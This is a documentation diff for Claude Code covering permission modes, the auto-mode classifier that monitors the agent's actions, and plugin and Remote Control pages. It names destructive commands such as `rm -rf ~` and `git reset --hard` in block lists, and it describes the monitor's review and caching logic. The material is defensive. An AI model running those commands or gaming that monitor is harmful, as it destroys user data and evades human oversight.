Which mode a session starts in @@ -205,7 +207,7 @@ Each interface has its own control for switching permission modes during a sessi Use the mode dropdown next to the prompt box on [claude.ai/code](https://claude.ai/code) or in the mobile app. Permission prompts appear in claude.ai for approval. Which modes appear depends on where the session runs: - * **Cloud sessions** on [Claude Code on the web](/docs/en/claude-code-on-the-web): Accept edits, Plan, and Auto. Accept edits corresponds to `default` mode: cloud sessions pre-approve file edits regardless of mode, so the dropdown shows Accept edits instead of Manual. Cloud sessions still honor `defaultMode: "acceptEdits"` from settings. Auto mode appears only when your organization allows it and the selected model supports it. Bypass permissions isn't available. + * **[Cloud sessions](/docs/en/claude-code-on-the-web)**: Accept edits, Plan, and Auto. Accept edits corresponds to `default` mode: cloud sessions pre-approve file edits regardless of mode, so the dropdown shows Accept edits instead of Manual. Cloud sessions still honor `defaultMode: "acceptEdits"` from settings. Auto mode appears only when your organization allows it and the selected model supports it. Bypass permissions isn't available. * **[Remote Control](/docs/en/remote-control) sessions** on your local machine: Manual, Accept edits, and Plan. You can't select Auto or Bypass permissions from the app. * Except for Bypass permissions, the dropdown shows the permission mode the local session is in, including one set from the terminal. It updates when the permission mode changes in the app or in the terminal. The session never reports Bypass permissions to claude.ai, so switching into it from the terminal doesn't change what the dropdown shows. * Sessions hosted by the [desktop app](/docs/en/desktop) or the [VS Code extension](/docs/en/vs-code) report permission mode changes to claude.ai as they happen, the same as sessions hosted in a terminal. @@ -312,6 +314,10 @@ To prevent developers from using auto mode, set `disableAutoMode` to `"disable"` In v2.1.158 through v2.1.206, auto mode was off on these providers until you set `CLAUDE_CODE_ENABLE_AUTO_MODE=1`, and Claude Code ignored `defaultMode: "auto"` on these providers unless the variable was also set. The variable is still accepted for compatibility and has no effect from v2.1.207 onward. +#### Server-side classifier review + +On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, Claude Code reviews auto mode actions with its own classifier requests by default. To have the platform's server-side classifier review [the actions that go to the classifier](#how-the-classifier-evaluates-actions) as part of the session's model requests instead, set [`CLAUDE_CODE_AUTO_MODE_SERVER=1`](/docs/en/env-vars). Where the platform runs the classifier, its verdicts decide those actions; where it doesn't, Claude Code falls back to its own classifier requests. In v2.1.271 and v2.1.272, asking the platform was the default on these providers. + ### What the classifier blocks by default The classifier trusts your working directory and the remotes that were configured for it when the session started. A remote added or repointed during the session with `git remote add` or `git remote set-url` isn't trusted, and everything else is treated as external until you [configure trusted infrastructure](/docs/en/auto-mode-config). Before v2.1.200, remotes added mid-session were also trusted. @@ -326,7 +332,7 @@ The classifier trusts your working directory and the remotes that were configure * Modifying shared infrastructure * Irreversibly destroying files that existed before the session * Force push -* Committing or pushing a change that would send secrets or sensitive data outside the repository when it runs, or widen what a deploy exposes. This covers a CI workflow or deploy configuration that hands a secret to a destination that doesn't already receive it, a script or setup step that reads a secret store and sends the data out, and a config change that widens what a deploy publishes, such as a registry, visibility, artifact, or sourcemap setting. The check applies on any branch, applies even when the repository is public, and fires when the change lands, whether or not that landing triggers the pipeline; clearing it requires naming the execution effect, not only the commit or push. Before v2.1.211, this check was scoped to the default branch instead: a push there was blocked when it carried sensitive content, changes concealed or misdescribed relative to what you asked for, content ported in from outside the repository, or routed around a review you asked for +* Committing or pushing a change that would send secrets or sensitive data outside the repository when it runs, or widen what a deploy exposes. This covers a CI workflow or deploy configuration that passes a secret to a destination that doesn't already receive it, a script or setup step that reads a secret store and sends the data out, and a config change that widens what a deploy publishes, such as a registry, visibility, artifact, or sourcemap setting. The check applies on any branch, applies even when the repository is public, and fires when the change is committed or pushed, whether or not that commit or push triggers the pipeline; clearing it requires naming the execution effect, not only the commit or push. Before v2.1.211, this check was scoped to the default branch instead: a push there was blocked when it carried sensitive content, changes concealed or misdescribed relative to what you asked for, content ported in from outside the repository, or routed around a review you asked for * `git reset --hard`, `git checkout -- .`, `git restore .`, `git clean -fd`, `git stash drop`, or `git stash clear`, which the classifier presumes would discard uncommitted changes * `git commit --amend` when the commit at HEAD was not created in this session * From v2.1.198, `git commit --amend` when the commit at HEAD has already been pushed. A message-only reword is not blocked: `--amend -m` with nothing newly staged, on a commit that Claude created during this session @@ -403,12 +409,7 @@ Claude Code v2.1.195 and later also allow these by default: * Sending data to the trusted domains, buckets, and services you list in [`environment`](/docs/en/auto-mode-config#define-trusted-infrastructure). This covers data flow only, not destructive or credential operations on the same infrastructure * [Claude in Chrome](/docs/en/chrome) navigation to a trusted internal domain, localhost, or a URL you named -Sandbox network access requests are routed through the classifier rather than allowed by default. As of v2.1.198, the classifier reuses its verdict for a network host and port instead of re-running on every connection: - -* An allow is reused until new content enters the conversation, at which point that host is checked again -* Claude Code v2.1.234 and later reuse a deny caused by the conversation outgrowing the classifier's context window until new content enters the conversation, or until [compaction](/docs/en/costs#reduce-token-usage) shrinks what the classifier reads. Claude Code then checks the host again -* A deny that the classifier reached by evaluating the request lasts for the turn in the interactive CLI. In [non-interactive mode](/docs/en/headless) and Agent SDK sessions, Claude Code reuses that deny for the rest of the run, because those sessions have no turn boundary -* Changing your permission mode or rules drops all cached verdicts +Sandboxed commands don't get network access by default. Claude names the hosts a command needs on the command itself, the classifier reviews them with the command, and an approved list opens those hosts for that one command alone. [Per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode) covers what a list can and can't open and what happens when a command reaches for an unlisted host. Run `claude auto-mode defaults` to print the full rule lists as JSON. If routine actions get blocked, an administrator can add trusted repos, buckets, and services via the `autoMode.environment` setting: see [Configure auto mode](/docs/en/auto-mode-config). @@ -451,7 +452,11 @@ Repeated blocks usually mean the classifier is missing context about your infras Each action goes through a fixed decision order. The first matching step wins: - 1. Actions matching your [allow, ask, or deny rules](/docs/en/permissions#manage-permissions) resolve immediately. Writes to [protected paths](#protected-paths) route to the classifier even when an allow rule matches, and so do `rm` and `rmdir` removals targeting a [critical path](#critical-paths) in Claude Code v2.1.218 and later. MCP tools marked [`requiresUserInteraction`](/docs/en/mcp#require-approval-for-a-specific-tool) prompt you directly even when an allow rule matches, and so do connector tools [your organization set to `ask`](/docs/en/mcp#organization-controls-on-connector-tools) in sessions where that setting reaches Claude Code. Ask rules that match on a command's content, such as `Bash(git push *)`, fall back to a permission prompt + 1. Actions matching your [allow, ask, or deny rules](/docs/en/permissions#manage-permissions) resolve immediately, with these exceptions: + * Writes to [protected paths](#protected-paths) route to the classifier even when an allow rule matches, and so do `rm` and `rmdir` removals targeting a [critical path](#critical-paths) in Claude Code v2.1.218 and later + * MCP tools marked [`requiresUserInteraction`](/docs/en/mcp#require-approval-for-a-specific-tool) prompt you directly even when an allow rule matches, and so do connector tools [your organization set to `ask`](/docs/en/mcp#organization-controls-on-connector-tools) in sessions where that setting reaches Claude Code + * A shell command that carries [per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode) also routes to the classifier even when an allow rule matches, because a rule approves the command, not its hosts + * Ask rules that match on a command's content, such as `Bash(git push *)`, fall back to a permission prompt 2. Read-only actions and file edits in your working directory are auto-approved, except writes to [protected paths](#protected-paths) and [the first read outside the working directories](#first-read-outside-the-working-directories), which prompts you 3. Everything else goes to the classifier. The connector tools and `requiresUserInteraction` MCP tools that prompt you directly in step 1 never reach the classifier, so neither an org-required approval nor a consent step is auto-approved 4. If the classifier blocks, Claude receives the reason and tries an alternative. In most sessions the reason names the rule the classifier matched, such as `[Data Exfiltration]`, rather than giving a written explanation; see [Review denials](/docs/en/auto-mode-config#review-denials) @@ -468,7 +473,9 @@ Repeated blocks usually mean the classifier is missing context about your infras Claude Code also runs `git status` itself before a command that would discard uncommitted work, such as `git reset --hard` or `rm -rf`, and shows the classifier whether staged, modified, or untracked work is present. Claude Code reports untracked files in that check even when the repository's git configuration sets `status.showUntrackedFiles=no`. - The classifier sees user messages, tool calls other than read-only lookups such as file reads and searches, and your CLAUDE.md content. Tool results are stripped, so hostile content in a file or web page can't manipulate it directly. You can annotate a call's result with a [PostToolUse hook's `classifierContext` field](/docs/en/hooks#annotate-a-result-for-the-auto-mode-classifier), which the classifier reads as application-provided context. + In the classifier requests sent by Claude Code itself, the classifier sees user messages, tool calls other than read-only lookups such as file reads and searches, and your CLAUDE.md content. Tool results are stripped from those requests, so hostile content in a file or web page can't manipulate the classifier directly. + + You can annotate a call's result with a [PostToolUse hook's `classifierContext` field](/docs/en/hooks#annotate-a-result-for-the-auto-mode-classifier), which the classifier reads as application-provided context. The field requires Claude Code v2.1.236 or later. A separate server-side probe scans incoming tool results and flags suspicious content before Claude reads it. For more on how these layers work together, see the [auto mode announcement](https://claude.com/blog/auto-mode) and the [engineering deep dive](https://www.anthropic.com/engineering/claude-code-auto-mode). @@ -478,7 +485,7 @@ Repeated blocks usually mean the classifier is missing context about your infras 1. Before a subagent starts, the delegated task description is evaluated, so a dangerous-looking task is blocked at spawn time. 2. While the subagent runs, each of its actions goes through the classifier with the same rules as the parent session, and any `permissionMode` in the subagent's frontmatter is ignored. - 3. When the subagent finishes, the classifier reviews its full action history; if that return check flags a concern, a security warning is prepended to the subagent's results. When a separate API safety check refuses the review request itself, Claude Code still returns the subagent's results, prepended with a warning that the work is unreviewed and should be treated as untrusted. + 3. When the subagent finishes, the classifier reviews its work and its final report before the parent reads the report. When the classifier flags the subagent's work or report, or a separate API safety check refuses the review, the report is still delivered, prepended with a security warning. When the classifier is unavailable for the review, the report arrives with a note to verify the subagent's work before acting on it. Step 1 requires Claude Code v2.1.178 or later. Earlier versions applied the classifier at steps 2 and 3, but did not evaluate the task description before the subagent started. @@ -488,9 +495,9 @@ Repeated blocks usually mean the classifier is missing context about your infras The session's first auto-mode request validates the Sonnet 5 default: if the request succeeds, Sonnet 5 stays the session's classifier model, and if it fails because the model isn't available, the session uses the fallback instead. After that validation settles, the classifier's model doesn't change for the session. - On Enterprise plans and on accounts that use the Claude API, [Claude Platform on AWS](/docs/en/claude-platform-on-aws), Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry, classifier calls count toward your token usage. Each check sends a portion of the transcript plus the pending action, adding a round-trip before execution. Reads and working-directory edits outside protected paths skip the classifier, so the overhead comes mainly from shell commands and network operations. + On Enterprise plans and on accounts that use the Claude API, [Claude Platform on AWS](/docs/en/claude-platform-on-aws), Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry, classifier calls count toward your token usage. Each check sends a portion of the transcript plus the pending action, adding a round-trip before execution. Reads and working-directory edits outside protected paths skip the classifier, so the overhead comes mainly from shell commands and network operations. On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, you can move the review into the session's model requests instead; see [Server-side classifier review](#server-side-classifier-review). - The classifier reuses a sandbox network verdict for a host and port, so repeated connections to the same host don't each add a check. [What the classifier blocks by default](#what-the-classifier-blocks-by-default) describes how long an allow and a deny last. + Sandboxed network access adds no per-connection classifier requests. The classifier judges [the hosts a command names](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode) together with the command in one review, and Claude Code checks each connection against the approved list without calling the classifier again. @@ -502,7 +509,7 @@ Claude Code denies calls matching your explicit [`ask` rules](/docs/en/permissio `rm` and `rmdir` removals targeting a [critical path](#critical-paths), such as `rm -rf /` and `rm -rf ~`, are denied even when an allow rule matches them or a `PreToolUse` hook allows them. -Cloud sessions on [Claude Code on the web](/docs/en/claude-code-on-the-web) ignore `defaultMode: "dontAsk"`; see [bypassPermissions](#skip-all-checks-with-bypasspermissions-mode) for details. +[Cloud sessions](/docs/en/claude-code-on-the-web) ignore `defaultMode: "dontAsk"`; see [bypassPermissions](#skip-all-checks-with-bypasspermissions-mode) for details. Set it at startup with the flag: @@ -549,7 +556,7 @@ On Linux and macOS, Claude Code refuses to start in this mode when running as ro The check is skipped automatically inside a recognized sandbox. To run autonomously in a container, use the [dev container](/docs/en/devcontainer) configuration, which runs Claude Code as a non-root user. -[Claude Code on the web](/docs/en/claude-code-on-the-web) does not honor `defaultMode: "bypassPermissions"` or `"dontAsk"` from your settings files, so a repository's checked-in settings cannot start a cloud session in bypass-permissions mode. The setting is ignored silently and the session starts in the permission mode shown in the mode dropdown instead. See [Switch permission modes](#switch-permission-modes) for which modes cloud sessions offer. +[Cloud sessions](/docs/en/claude-code-on-the-web) don't honor `defaultMode: "bypassPermissions"` or `"dontAsk"` from your settings files, so a repository's checked-in settings can't start a cloud session in bypass-permissions mode. The setting is ignored silently and the session starts in the permission mode shown in the mode dropdown instead. See [Switch permission modes](#switch-permission-modes) for which modes cloud sessions offer. `bypassPermissions` offers no protection against prompt injection or unintended actions. For background safety checks with far fewer permission prompts, use [auto mode](#eliminate-prompts-with-auto-mode) instead. Administrators can block this mode by setting `permissions.disableBypassPermissionsMode` to `"disable"` in [managed settings](/docs/en/managed-settings). diff --git a/content/en/docs/claude-code/permissions.md b/content/en/docs/claude-code/permissions.md index 45573249b6..1d91d4c941 100644 --- a/content/en/docs/claude-code/permissions.md +++ b/content/en/docs/claude-code/permissions.md @@ -479,7 +479,9 @@ To let Claude fetch freely while keeping the sandbox allowlist as it is, use the } ``` -When you ask Claude to fetch a page, it fetches without a prompt. When you ask it to run a [sandboxed](/docs/en/sandboxing) `curl` against a host outside the sandbox allowlist, Claude Code still prompts you for that host, or in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) sends the request to the classifier, because the bare rule didn't add the host to the allowlist. +When you ask Claude to fetch a page, it fetches without a prompt. When you ask it to run a [sandboxed](/docs/en/sandboxing) `curl` against a host outside the sandbox allowlist, Claude Code still prompts you for that host, because the bare rule didn't add the host to the allowlist. + +In [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), Claude instead names the host in the command's [per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode) for the classifier to review. ### MCP @@ -603,7 +605,7 @@ To share that configuration across projects, use one of these approaches: Permissions and [sandboxing](/docs/en/sandboxing) are complementary security layers: * **Permissions** control which tools Claude Code can use and which files or domains it can access. They apply to Bash, Read, Edit, WebFetch, MCP, and every other tool, except that a deny or ask rule can't block [`EndConversation`](/docs/en/tools-reference#endconversation-tool-behavior) while any other tool remains. -* **Sandboxing** provides OS-level enforcement that restricts the Bash tool's filesystem and network access. It applies only to Bash commands and their child processes. +* **Sandboxing** provides OS-level enforcement that restricts shell commands' filesystem and network access. It applies only to Bash, PowerShell, and [Monitor](/docs/en/tools-reference#monitor-tool) commands and their child processes. Use both for defense-in-depth, since sandbox restrictions still apply even if a prompt injection bypasses Claude's decision-making. Paths and domains from both sandbox settings and permission rules are [merged into the final sandbox configuration](/docs/en/sandboxing#permission-rules). diff --git a/content/en/docs/claude-code/platforms.md b/content/en/docs/claude-code/platforms.md index 9102640aee..4813514a60 100644 --- a/content/en/docs/claude-code/platforms.md +++ b/content/en/docs/claude-code/platforms.md @@ -63,7 +63,7 @@ If you're not sure where to start, [install the CLI](/docs/en/quickstart) and ru * [Desktop](/docs/en/desktop): visual diff review, parallel sessions, computer use, and Dispatch * [VS Code](/docs/en/vs-code): the Claude Code extension inside your editor * [JetBrains](/docs/en/jetbrains): the extension for IntelliJ, PyCharm, and other JetBrains IDEs -* [Claude Code on the web](/docs/en/claude-code-on-the-web): cloud sessions that keep running when you disconnect +* [Web](/docs/en/claude-code-on-the-web): cloud sessions from your browser at claude.ai/code that keep running when you disconnect * [Mobile](/docs/en/mobile): the Claude app for [iOS](https://apps.apple.com/us/app/claude-by-anthropic/id6473753684) and [Android](https://play.google.com/store/apps/details?id=com.anthropic.claude) for starting and monitoring tasks while away from your computer ### Integrations diff --git a/content/en/docs/claude-code/plugin-dependencies.md b/content/en/docs/claude-code/plugin-dependencies.md index e14e9b5c98..7b1e90ab99 100644 --- a/content/en/docs/claude-code/plugin-dependencies.md +++ b/content/en/docs/claude-code/plugin-dependencies.md @@ -37,7 +37,7 @@ The following manifest declares one unversioned dependency and one constrained d } ``` -An entry can be a bare string with only the plugin name, like `"audit-logger"` in the example above, which depends on whatever version that plugin's marketplace provides. For more control, use an object with these fields: +An entry can be a bare string with only the plugin name, like `"audit-logger"` in the `deploy-kit` manifest, which depends on whatever version that plugin's marketplace provides. For more control, use an object with these fields: | Field | Type | Description | | :------------ | :----- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | diff --git a/content/en/docs/claude-code/plugin-marketplaces.md b/content/en/docs/claude-code/plugin-marketplaces.md index 2a42d50dec..a0bdf25fe0 100644 --- a/content/en/docs/claude-code/plugin-marketplaces.md +++ b/content/en/docs/claude-code/plugin-marketplaces.md @@ -156,11 +156,11 @@ Each plugin entry needs at minimum a `name` and a `source` that tells Claude Cod ### Required fields -| Field | Type | Description | Example | -| :-------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------- | -| `name` | string | Marketplace identifier in kebab-case, with no spaces, control characters, or bidirectional-formatting characters. This is public-facing: users see it when installing plugins (for example, `/plugin install my-tool@your-marketplace`). Each user can register only one marketplace per name: when they add a second marketplace with the same name, Claude Code replaces the first. To publish multiple plugins under one marketplace name, list them all in a [single `marketplace.json`](#create-the-marketplace-file). | `"acme-tools"` | -| `owner` | object | Marketplace maintainer information ([see fields below](#owner-fields)) | | -| `plugins` | array | List of available plugins | See below | +| Field | Type | Description | Example | +| :-------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------------------------------ | +| `name` | string | Marketplace identifier in kebab-case, with no spaces, control characters, or bidirectional-formatting characters. This is public-facing: users see it when installing plugins (for example, `/plugin install my-tool@your-marketplace`). Each user can register only one marketplace per name: when they add a second marketplace with the same name, Claude Code replaces the first. To publish multiple plugins under one marketplace name, list them all in a [single `marketplace.json`](#create-the-marketplace-file). | `"acme-tools"` | +| `owner` | object | Marketplace maintainer information. See [Owner fields](#owner-fields) | | +| `plugins` | array | List of available plugins | See [Plugin entries](#plugin-entries) | **Reserved names**: the following marketplace names are reserved for official Anthropic use and can't be used by third-party marketplaces: `claude-code-marketplace`, `claude-code-plugins`, `claude-plugins-official`, `claude-plugins-community`, `claude-community`, `anthropic-marketplace`, `anthropic-plugins`, `agent-skills`, `anthropic-agent-skills`, `knowledge-work-plugins`, `life-sciences`, `claude-for-legal`, `claude-for-financial-services`, `financial-services-plugins`, `first-party-plugins`, `claude-tag-plugins`, `healthcare`. Names that impersonate official marketplaces, such as `official-claude-plugins` or `anthropic-plugins-v2`, are also blocked. Reserving these names prevents a third-party marketplace from presenting itself as an Anthropic-published source. @@ -290,7 +290,7 @@ For plugins in the same repository, use a path starting with `./`: } ``` -Paths resolve relative to the marketplace root, which is the directory containing `.claude-plugin/`. In the example above, `./plugins/my-plugin` points to `/plugins/my-plugin`, even though `marketplace.json` lives at `/.claude-plugin/marketplace.json`. Don't use `../` to reference paths outside the marketplace root. On macOS and Linux, Claude Code refuses an entry path with a backslash anywhere past the leading `./`, so write the separators as `/` on every platform. +Paths resolve relative to the marketplace root, which is the directory containing `.claude-plugin/`. The source `./plugins/my-plugin` therefore points to `/plugins/my-plugin`, even though `marketplace.json` lives at `/.claude-plugin/marketplace.json`. Don't use `../` to reference paths outside the marketplace root. On macOS and Linux, Claude Code refuses an entry path with a backslash anywhere past the leading `./`, so write the separators as `/` on every platform. A bare name is a single directory name with no `/`, such as `"formatter"`. To write bare names instead of `./` paths, set [`metadata.pluginRoot`](#optional-fields) to the directory they resolve under. With `"pluginRoot": "./plugins"`, Claude Code resolves `"source": "formatter"` to `./plugins/formatter`. Requires Claude Code v2.1.239 or later. @@ -840,7 +840,7 @@ For example, this `marketplace.json` plugin entry references a plugin you commit #### Sync a GitLab-hosted marketplace -To sync a marketplace from gitlab.com or a self-managed GitLab instance, an [Owner](/docs/en/server-managed-settings#access-control) first adds a GitLab configuration for that host at [**Organization settings > Claude Code**](https://claude.ai/admin-settings/claude-code). GitLab configurations are in public beta and apply only to plugin marketplace sync. Adding one doesn't make GitLab repositories available in [Claude Code on the web](/docs/en/claude-code-on-the-web#limitations). See [Manage plugins for your organization](https://support.claude.com/en/articles/13837433) for the setup steps. +To sync a marketplace from gitlab.com or a self-managed GitLab instance, an [Owner](/docs/en/server-managed-settings#access-control) first adds a GitLab configuration for that host at [**Organization settings > Claude Code**](https://claude.ai/admin-settings/claude-code). GitLab configurations are in public beta and apply only to plugin marketplace sync. Adding one doesn't make GitLab repositories available to [cloud sessions](/docs/en/claude-code-on-the-web#limitations). See [Manage plugins for your organization](https://support.claude.com/en/articles/13837433) for the setup steps. When you add the marketplace, enter the project's HTTPS URL, such as `https://gitlab.example.com/platform/claude-plugins`. Projects in nested subgroups work. Organization sync reads the project's default branch. If you turn on **Sync automatically**, only pushes to the default branch start a sync. @@ -1369,7 +1369,7 @@ From a marketplace directory, Claude Code doesn't open the plugins' skill, agent | `No manifest found in directory. Expected .claude-plugin/marketplace.json or .claude-plugin/plugin.json` | The directory you named has no `.claude-plugin/marketplace.json` or `plugin.json`, and no skill, agent, or command files to check | Run from the marketplace root, or create `.claude-plugin/marketplace.json` with the required fields | | `Invalid JSON syntax: Unexpected token...` | JSON syntax error in marketplace.json | Check for missing commas, extra commas, or unquoted strings | | `Duplicate plugin name "x" found in marketplace` | Two plugins share the same name | Give each plugin a unique `name` value | -| `plugins[0].source: Path contains ".."` | Source path contains `..` | Use paths relative to the marketplace root without `..`. See [Relative paths](#relative-paths) | +| `plugins[0].source: Path contains ".."` | A segment of the source path is `..` | Use paths relative to the marketplace root without `..` segments. See [Relative paths](#relative-paths) | | `Marketplace name cannot contain control or bidirectional-formatting characters` | The marketplace `name` contains a Unicode bidirectional-formatting character or a control character, such as an escape or a newline | Remove the character from the name. Before v2.1.247, these characters produced the `Marketplace name impersonates an official Anthropic/Claude marketplace` error | | `Plugin name cannot contain control or bidirectional-formatting characters` | A plugin `name` contains a Unicode bidirectional-formatting character or a control character, such as an escape or a newline | Remove the character from the name. Before v2.1.247, Claude Code didn't run this check | diff --git a/content/en/docs/claude-code/plugins-reference.md b/content/en/docs/claude-code/plugins-reference.md index 13e6fb0f85..0bb6582f16 100644 --- a/content/en/docs/claude-code/plugins-reference.md +++ b/content/en/docs/claude-code/plugins-reference.md @@ -531,7 +531,7 @@ claude plugin validate ./my-plugin --strict Set `defaultEnabled: false` in `plugin.json` to ship a plugin that installs disabled. The user turns it on with `claude plugin enable ` or the `/plugin` interface. Use this for plugins that add cost or scope a user should opt into, such as one that connects to an external service. -`defaultEnabled` is the fallback when nothing else has decided the plugin's state. Two things take precedence over it: +`defaultEnabled` is the fallback when nothing else has decided the plugin's state. The user's setting and a dependency requirement take precedence over it: * **The user's setting**: an entry for the plugin in `enabledPlugins` at any settings scope. Once written, it persists across plugin updates and reinstalls, so changing `defaultEnabled` in a later release does not flip an existing user. * **A dependency requirement**: when a plugin is required by another one that is active, Claude Code writes `true` for it at install or enable time. That gives it an explicit setting, so its own default no longer applies. See [Enable or disable a plugin with dependencies](/docs/en/plugin-dependencies#enable-or-disable-a-plugin-with-dependencies). @@ -553,8 +553,8 @@ The same field can appear in a plugin's marketplace entry, where it takes preced | `experimental.themes` | string\|array | Color theme files/directories (replaces default `themes/`). See [Themes](#themes) | `"./themes/"` | | `experimental.monitors` | string\|array | Background [Monitor](/docs/en/tools-reference#monitor-tool) configurations that start automatically when the plugin is active. See [Monitors](#monitors) | `"./monitors.json"` | | `experimental.evals` | string\|array | Directory below the plugin root that holds the plugin's [eval cases](/docs/en/plugin-evals#use-a-different-eval-directory), when it isn't the default `evals/`. `claude plugin eval --eval-dir` overrides it | `"quality/evals"` | -| `userConfig` | object | User-configurable values prompted at enable time. See [User configuration](#user-configuration) | See below | -| `channels` | array | Channel declarations for message injection (Telegram, Slack, Discord style). See [Channels](#channels) | See below | +| `userConfig` | object | User-configurable values prompted at enable time. See [User configuration](#user-configuration) | | +| `channels` | array | Channel declarations for message injection (Telegram, Slack, Discord style). See [Channels](#channels) | | | `dependencies` | array | Other plugins this plugin requires, optionally with semver version constraints. See [Constrain plugin dependency versions](/docs/en/plugin-dependencies) | `[{ "name": "secrets-vault", "version": "~2.1.0" }]` | ### Experimental components diff --git a/content/en/docs/claude-code/remote-control.md b/content/en/docs/claude-code/remote-control.md index eed474bc1a..e2383cc4d2 100644 --- a/content/en/docs/claude-code/remote-control.md +++ b/content/en/docs/claude-code/remote-control.md @@ -19,9 +19,9 @@ When you start a Remote Control session on your machine, Claude keeps running lo * **Send images and files from your phone or browser**: attach a photo or file in the Claude app or at claude.ai/code, with or without a caption. Claude sees attached photos directly as part of your message. Claude Code downloads other files to your machine and passes them to Claude as `@` file references. * **Survive interruptions**: if your laptop sleeps or your network drops, Claude Code reconnects automatically when your machine comes back online. While the connection is rebuilding, Claude Code queues messages, permission prompts, and status updates from subagents and workflows, and delivers them once the connection recovers. -Unlike [Claude Code on the web](/docs/en/claude-code-on-the-web), which runs on cloud infrastructure, Remote Control sessions run directly on your machine and interact with your local filesystem. The web and mobile interfaces are a window into that local session. +Unlike [cloud sessions](/docs/en/claude-code-on-the-web), which run on cloud infrastructure, Remote Control sessions run directly on your machine and interact with your local filesystem. The web and mobile interfaces are a window into that local session. -This page covers setup, how to start and connect to sessions, and how Remote Control compares to Claude Code on the web. +This page covers setup, how to start and connect to sessions, and how Remote Control compares to cloud sessions. ## Requirements @@ -42,7 +42,7 @@ You can start a Remote Control session from the CLI or the VS Code extension. Th - Navigate to your project directory and run: + In your project directory, run: ```bash theme={null} claude remote-control @@ -172,8 +172,8 @@ A connected device shows the conversation in your terminal as it happens. These * **Compaction and `/clear`**: while Claude Code [compacts the conversation](/docs/en/context-window#what-survives-compaction), connected devices show the progress and then where the conversation was compacted. When you run `/clear`, the conversation resets on connected devices too. * **Switching conversations with `/resume`**: the connected device doesn't receive the switched-to conversation's title or earlier history, but new messages in both directions go to and from whichever conversation is open in your terminal. To work on the original conversation from the device again, run `/resume` in your terminal and switch back to it. -* **Pulling a session with `/teleport`**: when you pull a [Claude Code on the web session](/docs/en/claude-code-on-the-web#from-web-to-terminal) into your terminal with `/teleport`, the connected device doesn't receive the pulled conversation's earlier history. New messages in both directions go to and from the pulled conversation, which is now the one open in your terminal. -* **Messages from your other sessions**: with [cross-session messaging](/docs/en/cross-session-messaging), the same connection carries messages between your own sessions on different machines and from your [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions, through Anthropic servers like the rest of Remote Control traffic. [Message sessions on other machines](/docs/en/cross-session-messaging#message-sessions-on-other-machines) covers the delivery rules and [Control inbound messages](/docs/en/cross-session-messaging#control-inbound-messages) covers the inbound controls. Requires Claude Code v2.1.224 or later. +* **Pulling a session with `/teleport`**: when you pull a [cloud session](/docs/en/claude-code-on-the-web#from-cloud-to-terminal) into your terminal with `/teleport`, the connected device doesn't receive the pulled conversation's earlier history. New messages in both directions go to and from the pulled conversation, which is now the one open in your terminal. +* **Messages from your other sessions**: with [cross-session messaging](/docs/en/cross-session-messaging), the same connection carries messages between your own sessions on different machines and from your [cloud sessions](/docs/en/claude-code-on-the-web), through Anthropic servers like the rest of Remote Control traffic. [Message sessions on other machines](/docs/en/cross-session-messaging#message-sessions-on-other-machines) covers the delivery rules and [Control inbound messages](/docs/en/cross-session-messaging#control-inbound-messages) covers the inbound controls. Requires Claude Code v2.1.224 or later. * **Prompts you send mid-turn**: when you send a prompt from a connected device before the current turn ends, Claude Code queues it and keeps it in the device's transcript after that turn finishes. * **Diff of your changes**: when the session's directory is in a git repository, a connected device's diff pane shows the diff of your uncommitted changes. The device requests the diff over the connection, and Claude Code computes it on your machine. When your working tree is clean, Claude Code instead serves your branch's changes since it diverged from the default branch. Before v2.1.247, Claude Code reported the diff to connected devices only in sessions served by `claude remote-control`. * **Model**: when you pick a [model](/docs/en/model-config) from a connected device, Claude Code runs the session on that model. The terminal's `/model` picker, `/status`, and `/config` show that model. Requires Claude Code v2.1.238 or later. @@ -282,11 +282,11 @@ Open [claude.ai/settings/account](https://claude.ai/settings/account#trusted-dev For a lost or stolen device, the member removes it from this page. If the member cannot sign in, an admin can use **Sign out everywhere** in the admin console to revoke every session and enrolled device for that member, after which the member re-enrolls the devices they still hold. -## Remote Control vs Claude Code on the web +## Remote Control vs cloud sessions -Remote Control and [Claude Code on the web](/docs/en/claude-code-on-the-web) both use the claude.ai/code interface. The key difference is where the session runs: Remote Control executes on your machine, so your local MCP servers, tools, and project configuration stay available. Claude Code on the web executes in the cloud. +Remote Control and [cloud sessions](/docs/en/claude-code-on-the-web) both use the claude.ai/code interface. The key difference is where the session runs: Remote Control executes on your machine, so your local MCP servers, tools, and project configuration stay available. A cloud session executes on cloud infrastructure, Anthropic-managed by default. -Use Remote Control when you're in the middle of local work and want to keep going from another device. Use Claude Code on the web when you want to kick off a task without any local setup, work on a repo you don't have cloned, or run multiple tasks in parallel. +Use Remote Control when you're in the middle of local work and want to keep going from another device. Use a cloud session when you want to start a task without any local setup, work on a repo you don't have cloned, or run multiple tasks in parallel. ## Mobile push notifications @@ -349,7 +349,7 @@ Claude Code skips mobile push notifications while you are typing in or focused o You're not signed in with a claude.ai account, or another credential is taking precedence over your login. The message takes one of these forms: -* Signed out, from `/remote-control` or `--remote-control`: `Remote Control requires a claude.ai subscription.` +* Signed out, from `/remote-control` or `--remote-control`: `Remote Control requires a claude.ai subscription.` or `/remote-control requires a claude.ai subscription.` * Signed out, from `claude remote-control`: `You must be logged in to use Remote Control. Remote Control is only available with claude.ai subscriptions.` * Signed in, but an API key or token is in use: `Remote Control requires claude.ai subscription auth.` followed by the credential in use, such as `ANTHROPIC_API_KEY is set, so this session is using API-key auth`. An `apiKeyHelper` setting and 